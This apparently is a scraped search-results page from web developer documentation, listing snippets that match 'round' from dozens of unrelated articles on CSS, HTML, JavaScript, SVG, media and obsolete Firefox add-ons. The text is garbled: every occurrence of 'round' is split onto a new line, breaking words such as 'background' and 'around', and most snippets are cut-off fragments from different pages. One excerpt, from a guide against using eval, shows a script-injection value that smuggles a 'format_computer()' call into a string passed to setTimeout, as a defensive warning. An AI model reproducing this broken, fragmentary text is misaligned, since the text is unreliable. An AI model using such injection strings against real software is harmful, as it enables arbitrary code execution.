round-color font-size left top -webkit-transform color; -webkit-transition-duration:1s; -webkit-transition-timing-function: ease-in-out; transition-property: width height backg
round-color font-size left top transform color; transition-duration:1s; transition-timing-fu...
...And 5 more matches
HTML documentation index - HTML: Hypertext Markup Language
element bdi, bidi, directionality, element, html, html text-level semantics, html:flow content, html:palpable content, html:phrasing content, internationalization, left-to-right, reference, right-to-left, text, web, direction, i18n, ltr, rtl the html bidirectional isolate element (<bdi>) tells the browser's bidirectional algorithm to treat the text it contains in isolation from its sur
rounding text.
... 69 <bgsound>: the backg
round sound element (obsolete) audio, backg
round sound, element, html, internet explorer, non-standard, obsolete, reference, web the internet explorer only html backg
round sound element (<bgsound>) sets up a sound file to play in the backg
round while the page is used; use <audio> instead.
... 70 <big>: the bigger text element element, html, obsolete, reference, web the obsolete html big element (<big>) renders the enclosed text at a font size one level larger than the sur
rounding text (medium becomes large, for example).
...And 5 more matches
Digital audio concepts - Web media technologies
as an object vibrates, it causes the molecules sur
rounding it to vibrate as well.
...the sound for the left and right main channels, as well as all of your sur
round sound speakers (center, left and right rear, left and right sides, ceiling channels, and so forth) are all standard audio channels.
... monophonic audio has one channel, stereo sound has two channels, 5.1 sur
round sound has 6 channels (five standard and one lfe), and so forth.
...And 5 more matches
Fills and Strokes - SVG: Scalable Vector Graphics
most svg you'll find a
round the web use inline css, but there are advantages and disadvantages associated with each type.
...using fill sets the color inside the object and stroke sets the color of the line drawn a
round the object.
...rsion="1.0" standalone="no"?> <svg width="160" height="140" xmlns="http://www.w3.org/2000/svg" version="1.1"> <line x1="40" x2="120" y1="20" y2="20" stroke="black" stroke-width="20" stroke-linecap="butt"/> <line x1="40" x2="120" y1="60" y2="60" stroke="black" stroke-width="20" stroke-linecap="square"/> <line x1="40" x2="120" y1="100" y2="100" stroke="black" stroke-width="20" stroke-linecap="
round"/> </svg> the stroke-width property defines the width of this stroke.
...And 5 more matches
jspage - Archive of obsolete content
a){window[b]=window.prototype[b]=a;}});window.prototype={$family:{name:"window"}}; new window(window);var document=new native({name:"document",legacy:(browser.engine.trident)?null:window.document,initialize:function(a){$uid(a);a.head=a.getelementsbytagname("head")[0]; a.html=a.getelementsbytagname("html")[0];if(browser.engine.trident&&browser.engine.version<=4){$try(function(){a.execcommand("backg
roundimagecache",false,true); });}if(browser.engine.trident){a.window.attachevent("onunload",function(){a.window.detachevent("onunload",arguments.callee);a.head=a.html=a.window=null; });}return $extend(a,document.prototype);},afterimplement:function(b,a){document[b]=document.prototype[b]=a;}});document.prototype={$family:{name:"document"}}; new document(document);array.implement({every:function(c,d){fo...
...ndwithevent:function(b,a){return this.create({bind:b,arguments:a,event:true});},attempt:function(a,b){return this.create({bind:b,arguments:a,attempt:true})(); },delay:function(b,c,a){return this.create({bind:c,arguments:a,delay:b})();},periodical:function(c,b,a){return this.create({bind:b,arguments:a,periodical:c})(); }});number.implement({limit:function(b,a){return math.min(a,math.max(b,this));},
round:function(a){a=math.pow(10,a||0);return math.
round(this*a)/a;},times:function(b,c){for(var a=0; a<this;a++){b.call(c,a,this);}},tofloat:function(){return parsefloat(this);},toint:function(a){return parseint(this,a||10);}});number.alias("times","each"); (function(b){var a={};b.each(function(c){if(!number[c]){a[c]=function(){return math[c].apply(null,[this].concat($a(arguments)));};}});number.implem...
...,a,true); },getopacity:function(){return this.get("opacity");},setstyle:function(b,a){switch(b){case"opacity":return this.set("opacity",parsefloat(a));case"float":b=(browser.engine.trident)?"stylefloat":"cssfloat"; }b=b.camelcase();if($type(a)!="string"){var c=(element.styles.get(b)||"@").split(" ");a=$splat(a).map(function(e,d){if(!c[d]){return"";}return($type(e)=="number")?c[d].replace("@",math.
round(e)):e; }).join(" ");}else{if(a==string(number(a))){a=math.
round(a);}}this.style[b]=a;return this;},getstyle:function(g){switch(g){case"opacity":return this.get("opacity"); case"float":g=(browser.engine.trident)?"stylefloat":"cssfloat";}g=g.camelcase();var a=this.style[g];if(!$chk(a)){a=[];for(var f in element.shortstyles){if(g!=f){continue; }for(var e in element.shortstyles[f]){a.push(this.getsty...
...And 4 more matches
tabbrowser - Archive of obsolete content
loadonetab( url, referreruri, charset, postdata, loadinbackg
round, allowthirdpartyfixup ) loadonetab( url, { referreruri: ..., charset: ..., postdata: ..., inbackg
round: ..., allowthirdpartyfixup: ..., relatedtocurrent: ...
...this method works the same as addtab except for the loadinbackg
round parameter which allows you to choose whether to open the new tab in foreg
round or backg
round.
... parameters inbackg
round if true the tab will be loaded in the backg
round, if false the tab will be the newly selected tab.
...And 4 more matches
textbox - Archive of obsolete content
attributes cols, decimalplaces, disabled, emptytext, hidespinbuttons, increment, label, max, maxlength, min, multiline, newlines, onblur, onchange, onfocus, oninput, placeholder, preference, readonly, rows, searchbutton, size, spellcheck, tabindex, timeout, type, value, wrap, wrapa
round properties accessibletype, clickselectsall, decimalplaces, decimalsymbol, defaultvalue, disabled, editor, emptytext, increment, inputfield, label, max, maxlength, min, placeholder, readonly, searchbutton, selectionend, selectionstart, size, spinbuttons, tabindex, textlength, timeout, type, value, valuenumber, wrapa
round methods decrease, increase, reset, select, setselectionrange st...
... possible values: pasteintact paste newlines unchanged pastetofirst paste text up to the first newline, dropping the rest of the text replacewithcommas pastes the text with the newlines replaced with commas replacewithspaces pastes the text with newlines replaced with spaces strip pastes the text with the newlines removed stripsur
roundingwhitespace pastes the text with newlines and adjacent whitespace removed onblur type: script code this event is sent when a textbox loses keyboard focus.
...there are several attributes that allow the number textbox to be configured, including decimalplaces, min, max, increment, wrapa
round, hidespinbuttons, and textbox.value.
...And 4 more matches
LiveConnect Overview - Archive of obsolete content
ases where liveconnect will fail to load a class, and you will need to manually load it like this: var widgetry = java.lang.thread.currentthread().getcontextclassloader().loadclass("org.mywidgets.widgetry"); in javascript 1.3 and earlier, javaclass objects are not automatically converted to instances of java.lang.class when you pass them as parameters to java methods—you must create a wrapper a
round an instance of java.lang.class.
...jsexception is a java wrapper a
round any exception type thrown by javascript, similar to the way that instances of jsobject are wrappers for javascript objects.
...number values when you pass javascript number types as parameters to java methods, java converts the values according to the rules described in the following table: java parameter type conversion rules double the exact value is transferred to java without
rounding and without a loss of magnitude or sign.
...And 4 more matches
Audio for Web games - Game development
for more passive audio auto play, for example backg
round music that starts as soon as a game loads, one trick is to detect any user initiated event and start playback then.
... concurrent audio playback a requirement of many games is the need to play more than one piece of audio at the same time; for example, there might be backg
round music playing along with sound effects for various things happening in the game.
... mobile worka
rounds although mobile browsers can present problems, there are ways to work a
round the issues detailed above.
...And 4 more matches
How to build custom form controls - Learn web development
*/ backg
round : #f0f0f0; backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { /* because the value can be wider than our control, we have to make sure it will not change the control's width.
...it could also be implemented using a simple backg
round image on the select class.
...: "▼"; /* we use the unicode character u+25bc; make sure to set a charset meta tag */ position: absolute; z-index : 1; /* this will be important to keep the arrow from overlapping the list of options */ top : 0; right : 0; box-sizing : border-box; height : 100%; width : 2em; padding-top : .1em; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; text-align : center; } next, let's style the list of options: .select .optlist { z-index : 2; /* we explicitly said the list of options will always be on top of the down arrow */ /* this will reset the default style of the ul element */ list-style: none; margin : 0; padding: 0; box-sizing : border-box; /* if the values are smaller than the contro...
...And 4 more matches
UI pseudo-classes - Learn web development
for example, in our custom radio buttons example, we use generated content to handle the placement and animation of the inner circle when a radio button is selected: input[type="radio"]::before { display: block; content: " "; width: 10px; height: 10px; border-radius: 6px; backg
round-color: red; font-size: 1.2em; transform: translate(3px, 3px) scale(0); transform-origin: center; transition: all 0.3s ease-in; } input[type="radio"]:checked::before { transform: translate(3px, 3px) scale(1); transition: all 0.3s cubic-bezier(0.25, 0.25, 0.56, 2); } this is really useful — screenreaders already let their users know when a radio button or checkbox they encounter is ...
...we create it using this css: input + span { position: relative; } input:required + span::after { font-size: 0.7rem; position: absolute; content: "required"; color: white; backg
round-color: black; padding: 5px 10px; top: -26px; left: -70px; } we set the <span> to position: relative simply so that we can set the generated content to position: absolute and position it relative to the <span> rather than the <body> (the generated content acts as though it is a child node of the element it is generated on, for the purposes of positioning).
...input looks like this: <div> <label for="age">age (must be 12+): </label> <input id="age" name="age" type="number" min="12" max="120" required> <span></span> </div> and the css looks like this: input + span { position: relative; } input + span::after { font-size: 0.7rem; position: absolute; padding: 5px 10px; top: -26px; } input:required + span::after { color: white; backg
round-color: black; content: "required"; left: -70px; } input:out-of-range + span::after { color: white; backg
round-color: red; width: 155px; content: "outside allowable value range"; left: -182px; } this is a similar story to what we had before in the :required example, except that here we've split out the declarations that apply to any ::after content into a separate rule, and given t...
...And 4 more matches
Making decisions in your code — conditionals - Learn web development
<label for="theme">select theme: </label> <select id="theme"> <option value="white">white</option> <option value="black">black</option> </select> <h1>this is my website</h1> const select = document.queryselector('select'); const html = document.queryselector('html'); document.body.style.padding = '10px'; function update(bgcolor, textcolor) { html.style.backg
roundcolor = bgcolor; html.style.color = textcolor; } select.onchange = function() { ( select.value === 'black' ) ?
...the website's backg
round color is set to the first provided color, and its text color is set to the second provided color.
...if this returns true, we run the update() function with parameters of black and white, meaning that we end up with backg
round color of black and text color of white.
...And 4 more matches
What is JavaScript? - Learn web development
css is a language of style rules that we use to apply styling to our html content, for example setting backg
round colors and fonts, and laying out our content in multiple columns.
...we can mark it up using html to give it structure and purpose: <p>player 1: chris</p> then we can add some css into the mix to get it looking nice: p { font-family: 'helvetica neue', helvetica, sans-serif; letter-spacing: 1px; text-transform: uppercase; text-align: center; border: 2px solid rgba(0,0,200,0.6); backg
round: rgba(0,0,200,0.3); color: rgba(0,0,200,0.6); box-shadow: 1px 1px 2px rgba(0,0,200,0.4); border-radius: 10px; padding: 3px 10px; display: inline-block; cursor: pointer; } and finally, we can add some javascript to implement dynamic behaviour: const para = document.queryselector('p'); para.addeventlistener('click', updatename); function updatename() { let name = prompt('enter a...
... browser apis are built into your web browser, and are able to expose data from the sur
rounding computer environment, or do useful complex things.
...And 4 more matches
Styling Vue components with CSS - Learn web development
add the following contents to the reset.css file: /*reset.css*/ /* resets */ *, *::before, *::after { box-sizing: border-box; } *:focus { outline: 3px dashed #228bec; } html { font: 62.5% / 1.15 sans-serif; } h1, h2 { margin-bottom: 0; } ul { list-style: none; padding: 0; } button { border: none; margin: 0; padding: 0; width: auto; overflow: visible; backg
round: transparent; color: inherit; font: inherit; line-height: normal; -webkit-font-smoothing: inherit; -moz-osx-font-smoothing: inherit; -webkit-appearance: none; } button::-moz-focus-inner { border: 0; } button, input, optgroup, select, textarea { font-family: inherit; font-size: 100%; line-height: 1.15; margin: 0; } button, input { /* 1 */ overflow: visible; } input[type="...
...text"] { border-radius: 0; } body { width: 100%; max-width: 68rem; margin: 0 auto; font: 1.6rem/1.25 "helvetica neue", helvetica, arial, sans-serif; backg
round-color: #f5f5f5; color: #4d4d4d; -moz-osx-font-smoothing: grayscale; -webkit-font-smoothing: antialiased; } @media screen and (min-width: 620px) { body { font-size: 1.9rem; line-height: 1.31579; } } /*end resets*/ next, in your src/main.js file, import the reset.css file like so: import './assets/reset.css'; this will cause the file to get picked up during the build step and automatically added to our site.
... before: after: noticeable changes include the removal of the list bullets, backg
round color changes, and changes to the base button and input styles.
...And 4 more matches
Using the CSS Typed Object Model - Web APIs
we'll take a look at that their types are by employing short javascript snippets outputting to console.log(): :root { --maincolor: hsl(198, 43%, 42%); --black: hsl(0, 0%, 16%); --white: hsl(0,0%,97%); --unit: 1.2rem; } button { --maincolor: hsl(198, 100%, 66%); display: inline-block; padding: var(--unit) calc(var(--unit)*2); width: calc(30% + 20px); backg
round: no-repeat 5% center url(https://mdn.mozillademos.org/files/16793/magicwand.png) var(--maincolor); border: 4px solid var(--maincolor); border-radius: 2px; font-size: calc(var(--unit)*2); color: var(--white); cursor: pointer; transform: scale(0.95); } let's add the class to a button (a button which does nothing).
... {x: cssunitvalue, y: cssunitvalue, z: cssunitvalue, is2d: true} console.log( transform[0].x ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].y ); // cssunitvalue {value: 0.95, unit: "number"} console.log( transform[0].z ); // cssunitvalue {value: 1, unit: "number"} console.log( transform.is2d ); // true // cssimagevalue let bgimage = allcomputedstyles.get('backg
round-image'); console.log( bgimage ); // cssimagevalue console.log( bgimage.tostring() ); // url("https://mdn.mozillademos.org/files/16793/magicwand.png") // cssunparsedvalue let unit = allcomputedstyles.get('--unit'); console.log( unit ) // let parsedunit = cssnumericvalue.parse( unit ); console.log( parsedunit ); console.log( parsedunit.unit ); console.log( parsedunit.value ); for...
... we've created a blue button with a magic wand backg
round image.
...And 4 more matches
Using images - Web APIs
var img = new image(); // create new img element img.src = 'data:image/gif;base64,r0lgodlhcwalaiaaaaaa3pn/zih5baeaaaealaaaaaalaasaaaiuha+hkcuo4lmnvindo7qyrixigbyaow=='; one advantage of data urls is that the resulting image is available immediately without another
round trip to the server.
...using backdrops can make your script considerably smaller because we can avoid the need for code to generate the backg
round.
...because 24-bit png images include a full 8-bit alpha channel, unlike gif and 8-bit png images, it can be placed onto any backg
round without worrying about a matte color.
...And 4 more matches
Matrix math for the web - Web APIs
it can move up in the air off the table and a
round the air in space.
... first, here's code that rotates a point a
round the origin without using matrices.
...below is the representation of a rotation about the x axis: let sin = math.sin; let cos = math.cos; // note: there is no perspective in these transformations, so a rotation // at this point will only appear to only shrink the div let a = math.pi * 0.3; //rotation amount in radians // rotate a
round z axis let rotatezmatrix = [ cos(a), -sin(a), 0, 0, sin(a), cos(a), 0, 0, 0, 0, 1, 0, 0, 0, 0, 1 ]; view on jsfiddle here are a set of functions that return rotation matrices for rotating a
round each of the three axes.
...And 4 more matches
Using bounded reference spaces - Web APIs
introduction a bounded reference space is one which represents an xr environment in which the user is able to move a
round physically in the real world while being tracked by the xr hardware, with their movements being then transposed into the simulation.
... a physical space with enough room to move a
round safely.
...these points go a
round the room in a clockwise direction.
...And 4 more matches
Realizing common layouts using CSS Grid Layout - CSS: Cascading Style Sheets
to
round off this set of guides to css grid layout, i am going to walk through a few different layouts, which demonstrate some of the different techniques you can use when designing with grid layout.
... * {box-sizing: border-box;} .wrapper { max-width: 1024px; margin: 0 auto; font: 1.2em helvetica, arial, sans-serif; } .wrapper > * { border: 2px solid #f08c00; backg
round-color: #ffec99; border-radius: 5px; padding: 10px; } nav ul { list-style: none; margin: 0; padding: 0; } <div class="wrapper"> <header class="main-head">the header</header> <nav class="main-nav"> <ul> <li><a href="">nav 1</a></li> <li><a href="">nav 2</a></li> <li><a...
...i find this named areas method very helpful at a prototyping stage, it is easy to play a
round with the location of elements.
...And 4 more matches
Basic Shapes - CSS: Cascading Style Sheets
inset() the inset() type defines a rectangle, which may not seem very useful as simply floating an item will give you a rectangular shape a
round it.
... .shape { float: left; shape-outside: inset(20px 10px 20px 10px
round 10px); } using the same rules as we use for the margin shorthand, you can set more than one offset at once.
...so, the above rules could also be described as: .shape { float: left; shape-outside: inset(20px 10px
round 10px); } in the example below we have an inset() shape used to pull content over the floated element.
...And 4 more matches
Shorthand properties - CSS: Cascading Style Sheets
for instance, the css backg
round property is a shorthand property that's able to define the values of backg
round-color, backg
round-image, backg
round-repeat, and backg
round-position.
... similarly, the most common font-related properties can be defined using the shorthand font, and the different margins a
round a box can be defined using the margin shorthand.
...therefore: backg
round-color: red; backg
round: url(images/bg.gif) no-repeat left top; will not set the color of the backg
round to red but to backg
round-color's default, transparent, as the second rule has precedence.
...And 4 more matches
align-content - CSS: Cascading Style Sheets
the css align-content property sets the distribution of space between and a
round content items along a flexbox's cross-axis or a grid's block axis.
... syntax /* basic positional alignment */ /* align-content does not take left and right values */ align-content: center; /* pack items a
round the center */ align-content: start; /* pack items from the start */ align-content: end; /* pack items from the end */ align-content: flex-start; /* pack flex items from the start */ align-content: flex-end; /* pack flex items from the end */ /* normal alignment */ align-content: normal; /* baseline alignment */ align-content: baseline; align-content: first baseline; align-content:...
... last baseline; /* distributed alignment */ align-content: space-between; /* distribute items evenly the first item is flush with the start, the last is flush with the end */ align-content: space-a
round; /* distribute items evenly items have a half-size space on either end */ align-content: space-evenly; /* distribute items evenly items have equal space a
round them */ align-content: stretch; /* distribute items evenly stretch 'auto'-sized items to fit the container */ /* overflow alignment */ align-content: safe center; align-content: unsafe center; /* glob...
...And 4 more matches
shape-outside - CSS: Cascading Style Sheets
the shape-outside css property defines a shape—which may be non-rectangular—a
round which adjacent inline content should wrap.
... by default, inline content wraps a
round its margin box; shape-outside provides a way to customize this wrapping, making it possible to wrap text a
round complex objects rather than simple boxes.
...the float area determines the shape a
round which inline content (float elements) wrap.
...And 4 more matches
<transform-function> - CSS: Cascading Style Sheets
rotation rotate() rotates an element a
round a fixed point on the 2d plane.
... rotate3d() rotates an element a
round a fixed axis in 3d space.
... rotatex() rotates an element a
round the horizontal axis.
...And 4 more matches
Web video codec guide - Web media technologies
this happens when an algorithm that uses blocks that span across a sharp boundary between an object and its backg
round.
... note the blue and pink fringes a
round the edges of the star above (as well as the stepping and other significant compression artifacts).
... note the blockiness of the colors in the plumage of the bald eagle in the photo above (and the snowy owl in the backg
round).
...And 4 more matches
Mobile first - Progressive web apps (PWAs)
anyone who has ever tried to enter data into a form on a mobile device, or even just navigated a
round a complex site, knows this well.
...of course, your users will be concentrating on what they're doing, but they are likely to be in a car with bad lighting, or in a noisy bar with the sport on tv in the backg
round!
...{ display: none; } article, nav { display: block; } nav ul { text-align: center; } nav li { display: inline; } nav li a { border-right: 1px solid #ad66d5; border-bottom: none; display: inline-block; padding: 0 5px; font-size: 1.6em; } nav li:last-child a { border-right: none; } } @media (min-width: 600px) { html { backg
round: #eee; height: 100%; } body { width: 600px; height: inherit; margin: 0 auto; backg
round: url(../img/firefox-os.png) bottom left no-repeat, linear-gradient(to bottom, #fff, #eee); } .main > p { backg
round: rgba(255,255,255,0.3); } nav li a { padding: 0 10px; font-size: 2em; } } the first one cancels out the css display: table behaviour, hides th...
...And 4 more matches
SVG documentation index - SVG: Scalable Vector Graphics
67 enable-backg
round deprecated, svg, svg attribute the enable-backg
round attribute specifies how the accumulation of the backg
round image is managed.
... 146 opacity svg, svg attribute the opacity attribute specifies the transparency of an object or of a group of objects, that is, the degree to which the backg
round behind the element is overlaid.
... 231 unicode-bidi svg, svg attribute the unicode-bidi attribute specifies how the accumulation of the backg
round image is managed.
...And 4 more matches
Appendix C: Avoiding using eval in Add-ons - Archive of obsolete content
passing a
round functions/code as strings often you'll want to pass functions or code to other functions, most notoriously settimeout and addeventlistener.
... often this is done passing a
round strings.
...settimeout("alert('" + xhr.responsetext + "');", 100); // attacker manipulated responsetext to contain "attack!'); format_computer(); alert('done" settimeout("alert('attack!'); format_computer(); alert('done');", 100); as a general rule of thumb, just don't pass code a
round as strings and execute it by calling eval, settimeout and friends.
...And 3 more matches
The Box Model - Archive of obsolete content
we recommend you play a
round with it for a while to get an idea of how the basic parts of the box model work.
...the margin determines the space between an element and the elements sur
rounding it, while the padding determines the space between the borders of a container element and its child nodes, kind of like an inner margin.
...you should avoid using long blocks text, and also avoid designing your ui so that everything fits just right a
round text.
...And 3 more matches
In-Depth - Archive of obsolete content
-moz-border-radius
rounds the corners of a box.
...this will flip it a
round so items inside of this box will be displayed bottom to top and right to left.
...also in the communicator.css add this code: .toolbar-primary-icon { width: 100px; backg
round-repeat: no-repeat; backg
round-position: top; } open up \classic\skin\classic\navigator\navigator.css and scroll down to the bottom.
...And 3 more matches
XUL Questions and Answers - Archive of obsolete content
a worka
round is to open the content in a new window using "window.open" and send titlebar=”no” as one of the flags in the 3rd argument.
...(server can just send the xul code to use for popup - alternatively it can send generic xml describing the attributes of the items in the menu and you generate the xul on client by applying an xslt transform.) can i change a xul tree cell/row/item backg
round color with javascript?
... to set the backg
round color you need to set the property for the cell/row and not for the item.
...And 3 more matches
Building a Theme - Archive of obsolete content
introduction this tutorial will take you through the steps required to build a very basic theme - one which updates the backg
round color of the toolbars in firefox.
...to worka
round this, disable hardware acceleration in firefox' options.
... for this tutorial, we're going to update the backg
round color of the toolbars.
...And 3 more matches
Common Firefox theme issues and solutions - Archive of obsolete content
@media all and (-moz-windows-compositor) { /* make transition to fullscreen mode seamlessly in firefox 10+ */ #main-window[infullscreen="true"] { -moz-appearance: none; backg
round-color: -moz-dialog!important; } } for more information about this issue please see bug 732757 and bug 732757 and this mozillazine thread.
...in order to work a
round this issue, you need to either rename any of the following files that are in your chrome://browser/skin/ folder and fix any references to those files, or copy them to the folder chrome://browser/skin/lion/: keyhole-circle.png toolbar.png toolbarbutton-dropmarker.png tabbrowser/alltabs-box-bkgnd-icon.png tabview/tabview.png places/toolbar.png linux linux select box fields are showing both drop arrow and spinner arrows on linux: the styling of drop down select box fields may show both a drop arrow and up/down spinner arrows.
... style inspector's bread crumb buttons are hard to read the text labels of breadcrumbs on the style inspector (tools > web developer > inspect) are too similar to the backg
round colors making them very hard to read.
...And 3 more matches
Mobile accessibility - Learn web development
you can also "explore by touch" — hold your finger down on the screen and drag it a
round, and your device will read out the different apps/items you move across.
... you can also navigate the items on the screen by swiping left and right to move between them, or by sliding your finger a
round on the screen to move between different items (when you find the item you want, you can remove your finger to select it).
...to use it: twist two fingers a
round on the screen like you are turning a dial.
...And 3 more matches
Creating fancy letterheaded paper - Learn web development
objective: to test comprehension of css box model, and other box-related features such as implementing backg
rounds.
... add a backg
round declaration to the letter that: fixes the top image to the top of the letter fixes the bottom image to the bottom of the letter adds a semi-transparent gradient over the top of both of the previous backg
rounds that gives the letter a bit of texture.
... add another backg
round declaration that just adds the top image to the top of the letter, as a fallback for browsers that don't support the previous declaration.
...And 3 more matches
CSS building blocks - Learn web development
this module looks at the cascade and inheritance, all the selector types we have available, units, sizing, styling backg
rounds and borders, debugging, and lots more.
...the sub-articles are as follows: type, class, and id selectors attribute selectors pseudo-classes and pseudo-elements combinators the box model everything in css has a box a
round it, and understanding these boxes is key to being able to create layouts with css, or to align items with other items.
... backg
rounds and borders in this lesson we will take a look at some of the creative things you can do with css backg
rounds and borders.
...And 3 more matches
Legacy layout methods - Learn web development
layout and grid systems before css grid layout it may seem surprising to anyone coming from a design backg
round that css didn’t have an inbuilt grid system until very recently, and instead we seemed to be using a variety of sub-optimal methods to create grid-like designs.
...they work by giving items a size, and pushing them a
round to line them up in a way that looks like a grid.
... * { box-sizing: border-box; } body { width: 980px; margin: 0 auto; } .wrapper { padding-right: 20px; } now use the row container that is wrapped a
round each row of the grid to clear one row from another.
...And 3 more matches
Multiple-column layout - Learn web development
there is no way to make one column bigger than other columns, or to change the backg
round or text color of a single column.
... using your example above, change the size of the gap by adding a column-gap property: .container { column-width: 200px; column-gap: 20px; } you can play a
round with different values — the property accepts any length unit.
... spanning the columns body { width: 90%; max-width: 900px; margin: 2em auto; font: .9em/1.2 arial, helvetica, sans-serif; } .container { column-count: 3; column-gap: 20px; column-rule: 4px dotted rgb(79, 185, 227); } h2 { column-span: all; backg
round-color: rgb(79, 185, 227); color: white; padding: .5em; } <div class="container"> <h1>simple multicol example</h1> <p> lorem ipsum dolor sit amet, consectetur adipiscing elit.
...And 3 more matches
Example 1 - Learn web development
- */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; -moz-box-sizing : border-box; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; ...
...padding-top : .1em; -moz-box-sizing : border-box; box-sizing : border-box; text-align : center; border-left : .2em solid #000; border-radius: 0 .1em .1em 0; backg
round-color : #000; color : #fff; } .select .optlist { z-index : 2; list-style: none; margin : 0; padding: 0; backg
round: #f0f0f0; border: .2em solid #000; border-top-width : .1em; border-radius: 0 0 .4em .4em; box-shadow: 0 .2em .4em rgba(0,0,0,.4); box-sizing : border-box; min-width : 100%; max-height: 10em; /* 100px */ overflow-y: auto; overflow-x: hidden; } .select .option { padding: .2em .3em; } .select .highlight { backg
round: #000; color: #ffffff; } result for basic state active state html <div class="select active"> <span class="value">cherry</span> <ul cla...
...* fancy styles */ /* ------------ */ .select { font-size : 0.625em; /* 10px */ font-family : verdana, arial, sans-serif; box-sizing : border-box; padding : 0.1em 2.5em 0.2em 0.5em; /* 1px 25px 2px 5px */ width : 10em; /* 100px */ border : 0.2em solid #000; /* 2px */ border-radius : 0.4em; /* 4px */ box-shadow : 0 0.1em 0.2em rgba(0,0,0,.45); /* 0 1px 2px */ backg
round : #f0f0f0; backg
round : linear-gradient(0deg, #e3e3e3, #fcfcfc 50%, #f0f0f0); } .select .value { display : inline-block; width : 100%; overflow : hidden; white-space : nowrap; text-overflow : ellipsis; vertical-align: top; } .select:after { content : "▼"; position: absolute; z-index : 1; height : 100%; width : 2em; /* 20px */ top : 0; right : 0; ...
...And 3 more matches
The web and web standards - Learn web development
this article provides some useful backg
round on the web — how it came about, what web standard technologies are, how they work together, why "web developer" is a great career to choose, and what kinds of best practices you'll learn about through the course.
... fast forward to 1989, and timbl wrote information management: a proposal and hypertext at cern; these two publications together provided the backg
round for how the web would work.
... for example, the html living standard describes exactly how html (all the html elements, and their associated apis, and other sur
rounding technologies) should be implemented.
...And 3 more matches
A first splash into JavaScript - Learn web development
you got it right!'; lastresult.style.backg
roundcolor = 'green'; loworhi.textcontent = ''; setgameover(); } else if (guesscount === 10) { lastresult.textcontent = '!!!game over!!!'; loworhi.textcontent = ''; setgameover(); } else { lastresult.textcontent = 'wrong!'; lastresult.style.backg
roundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcontent = ...
... guesscount = 1; const resetparas = document.queryselectorall('.resultparas p'); for(let i = 0 ; i < resetparas.length ; i++) { resetparas[i].textcontent = ''; } resetbutton.parentnode.removechild(resetbutton); guessfield.disabled = false; guesssubmit.disabled = false; guessfield.value = ''; guessfield.focus(); lastresult.style.backg
roundcolor = 'white'; randomnumber = math.floor(math.random() * 100) + 1; } </script> </body> </html> have a go at playing it — familiarize yourself with the game before you move on.
...you got it right!'; lastresult.style.backg
roundcolor = 'green'; loworhi.textcontent = ''; setgameover(); } else if (guesscount === 10) { lastresult.textcontent = '!!!game over!!!'; setgameover(); } else { lastresult.textcontent = 'wrong!'; lastresult.style.backg
roundcolor = 'red'; if(userguess < randomnumber) { loworhi.textcontent = 'last guess was too low!'; } else if(userguess > randomnumber) { ...
...And 3 more matches
What went wrong? Troubleshooting JavaScript - Learn web development
syntax errors
round two save your page and refresh, and you should see the error has gone.
... syntax errors
round three now if you try playing the game through again, you should get more success — the game should play through absolutely fine, until you end the game, either by guessing the right number, or by running out of guesses.
...the instance that stores the random number that we want to guess at the start of the game should be a
round line number 44: let randomnumber = math.floor(math.random()) + 1; and the one that generates the random number before each subsequent game is a
round line 113: randomnumber = math.floor(math.random()) + 1; to check whether these lines are indeed the problem, let's turn to our friend console.log() again — insert the following line directly below each of the above two lines: console.
...And 3 more matches
Handling common accessibility problems - Learn web development
that said, this article will cover cross browser and testing issues sur
rounding people with disabilities, and how they use the web.
... common accessibility issues in this section we'll detail some of the main issues that arise a
round web accessibility, connected with specific technologies, along with best practices to follow, and some quick tests you can do to see if your sites are going in the right direction.
... color and color contrast when choosing a color scheme for your website, you should make sure that the text (foreg
round) color contrasts well with the backg
round color.
...And 3 more matches
The Firefox codebase: CSS Guidelines
using variables use the variable according to its naming do this: xul|tab:hover { backg
round-color: var(--in-content-box-backg
round-hover); } not this: #certificateerrordebuginformation { backg
round-color: var(--in-content-box-backg
round-hover); } localization text direction for margins, padding and borders, use inline-start/inline-end rather than left/right.
... another adjustment to be aware of is that gecko removes all the backg
round-image when high contrast mode is enabled.
...in general, the following colors are used: -moz-field: textbox or field backg
round colors, also used as the backg
round color of listboxes or trees.
...And 3 more matches
Creating localizable web applications
remember to use single quotes a
round the strings containing the formatting symbols.
...good: // %1$s is the persona's name, %2$s is the athor's username printf(_('%1$s by %2$s'), $persona['name'], $persona['display_username']); note the single quotes a
round '%1$s by %2$s'.
...in general though, we should consider implementing such decorations as css images (backg
round-image or ::after's/::before's content) and then select them with "html[dir="rtl"] > ...".
...And 3 more matches
Mozilla Quirks Mode Behavior
make table borders gray rather than using the foreg
round color.
... in quirks mode, the css parser allows {} a
round the contents of style attributes (bug 99554).
...(bug 915053) an empty string for the backg
round attribute sets the backg
round url to empty only in quirks mode.
...And 3 more matches
Using dynamic styling information - Web APIs
modify a stylesheet rule with cssom <html> <head> <title>modifying a stylesheet rule with cssom</title> <style type="text/css"> body { backg
round-color: red; } </style> <script type="text/javascript"> var stylesheet = document.stylesheets[0]; stylesheet.cssrules[0].style.backg
roundcolor="blue"; </script> </head> <body> the stylesheet declaration for the body's backg
round color is modified via javascript.
...however, this property only returns style attributes that have been set in-line (e.g, <td style="backg
round-color: lightblue"> returns the string "backg
round-color:lightblue", or directly for that element using element.style.propertyname, even though there may be other styles on the element from a stylesheet).
... <html> <head> <title>simple style example</title> <script type="text/javascript"> function alterstyle(elem) { elem.style.backg
round = 'green'; } function resetstyle(elemid) { elem = document.getelementbyid(elemid); elem.style.backg
round = 'white'; } </script> <style type="text/css"> #p1 { border: solid blue 2px; } </style> </head> <body> <!-- passes a reference to the element's object as parameter 'this'.
...And 3 more matches
CanvasRenderingContext2D.drawWindow() - Web APIs
